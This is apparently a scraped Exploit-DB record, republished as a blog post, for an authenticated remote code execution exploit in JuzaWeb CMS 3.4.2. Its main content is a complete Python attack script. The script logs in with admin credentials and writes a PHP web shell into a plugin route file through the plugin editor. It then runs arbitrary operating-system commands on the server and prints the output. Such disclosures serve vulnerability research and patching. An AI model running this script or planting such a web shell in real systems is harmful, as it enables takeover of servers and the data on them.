{“lastseen”:”2026-04-29T09:27:57″,”description”:”Exploit Title: JuzaWeb CMS 3.4.2 – Authenticated Remote Code Execution Date: 2026-01-10 Exploit Author: Sardor Shoakbarov Author GitHub: https:\/\/github.com\/TheDeepOpc Vendor Homepage: https:\/\/juzaweb.com\/ Software Link: https:\/\/github.com\/juzaweb\/ CVE:…”,”published”:”2026-04-29T00:00:00″,”modified”:”2026-04-29T00:00:00″,”type”:”exploitdb”,”title”:”JuzaWeb CMS 3.4.2 – Authenticated Remote Code Execution”,”source”:””,”references”:””,”id”:”EDB-ID:52518″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: JuzaWeb CMS 3.4.2 – Authenticated Remote Code Execution\\r\\n# Date: 2026-01-10\\r\\n# Exploit Author: Sardor Shoakbarov\\r\\n# Author GitHub: https:\/\/github.com\/TheDeepOpc\\r\\n# Vendor Homepage: https:\/\/juzaweb.com\/\\r\\n# Software Link: https:\/\/github.com\/juzaweb\/\\r\\n# CVE: N\/A (Pending)\\r\\n\\r\\nimport requests\\r\\nimport argparse\\r\\nfrom bs4 import BeautifulSoup\\r\\n\\r\\ndef run_exploit():\\r\\n parser = argparse.ArgumentParser(description=’JuzaWeb Authenticated RCE’)\\r\\n \\r\\n # Setting up the exact syntax you requested\\r\\n parser.add_argument(‘-u’, ‘–url’, help=’Target URL (e.g. http:\/\/127.0.0.1:8000)’, required=True)\\r\\n parser.add_argument(‘-user’, ‘–username’, help=’Admin Username\/Email’, required=True)\\r\\n parser.add_argument(‘-p’, ‘–password’, help=’Admin Password’, required=True)\\r\\n parser.add_argument(‘-cmd’, ‘–command’, help=’OS Command to execute (e.g. \\”ls\\”, \\”id\\”)’, required=True)\\r\\n \\r\\n args = parser.parse_args()\\r\\n target = args.url.rstrip(‘\/’)\\r\\n session = requests.Session()\\r\\n\\r\\n print(f\\”[*] Targeting: {target}\\”)\\r\\n\\r\\n # Step 1: Login\\r\\n login_url = f\\”{target}\/admin-cp\/login\\”\\r\\n try:\\r\\n get_login = session.get(login_url)\\r\\n soup = BeautifulSoup(get_login.text, ‘html.parser’)\\r\\n token = soup.find(‘input’, {‘name’: ‘_token’})[‘value’]\\r\\n \\r\\n login_data = {\\r\\n ‘_token’: token,\\r\\n ’email’: args.username,\\r\\n ‘password’: args.password\\r\\n }\\r\\n \\r\\n res = session.post(login_url, data=login_data)\\r\\n if \\”Dashboard\\” not in res.text:\\r\\n print(\\”[-] Login failed. Check credentials.\\”)\\r\\n return\\r\\n print(\\”[+] Login Successful.\\”)\\r\\n except Exception as e:\\r\\n print(f\\”[-] Error during login: {e}\\”)\\r\\n return\\r\\n\\r\\n # Step 2: Inject Web Shell\\r\\n # Injecting system() into a plugin file as described in the report\\r\\n print(\\”[*] Injecting payload into Plugin Editor…\\”)\\r\\n editor_url = f\\”{target}\/admin-cp\/plugins\/editor\\”\\r\\n shell_payload = \\”\\u003c?php if(isset($_GET[‘cmd’])) { system($_GET[‘cmd’]); die; } ?\\u003e\\”\\r\\n \\r\\n inject_data = {\\r\\n ‘file’: ‘src\/routes\/api.php’, # File to overwrite\\r\\n ‘content’: shell_payload,\\r\\n ‘plugin’: ‘juzaweb\/example’ # Targeted plugin\\r\\n }\\r\\n \\r\\n session.post(editor_url, data=inject_data)\\r\\n\\r\\n # Step 3: Execute Command\\r\\n # Accessing the modified route to trigger the command\\r\\n print(f\\”[*] Executing command: {args.command}\\”)\\r\\n exec_url = f\\”{target}\/admin-cp\/plugins?cmd={args.command}\\”\\r\\n response = session.get(exec_url)\\r\\n \\r\\n print(\\”\\\\n— Output —\\”)\\r\\n print(response.text.strip())\\r\\n print(\\”————–\\”)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n run_exploit()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52518″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52518″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-29T09:27:57″,”description”:”Exploit Title: JuzaWeb CMS 3.4.2 – Authenticated Remote Code Execution Date: 2026-01-10 Exploit Author: Sardor Shoakbarov Author GitHub: https:\/\/github.com\/TheDeepOpc Vendor Homepage: https:\/\/juzaweb.com\/ Software Link: https:\/\/github.com\/juzaweb\/…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,40,13,33,7,11,5],"class_list":["post-50096","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n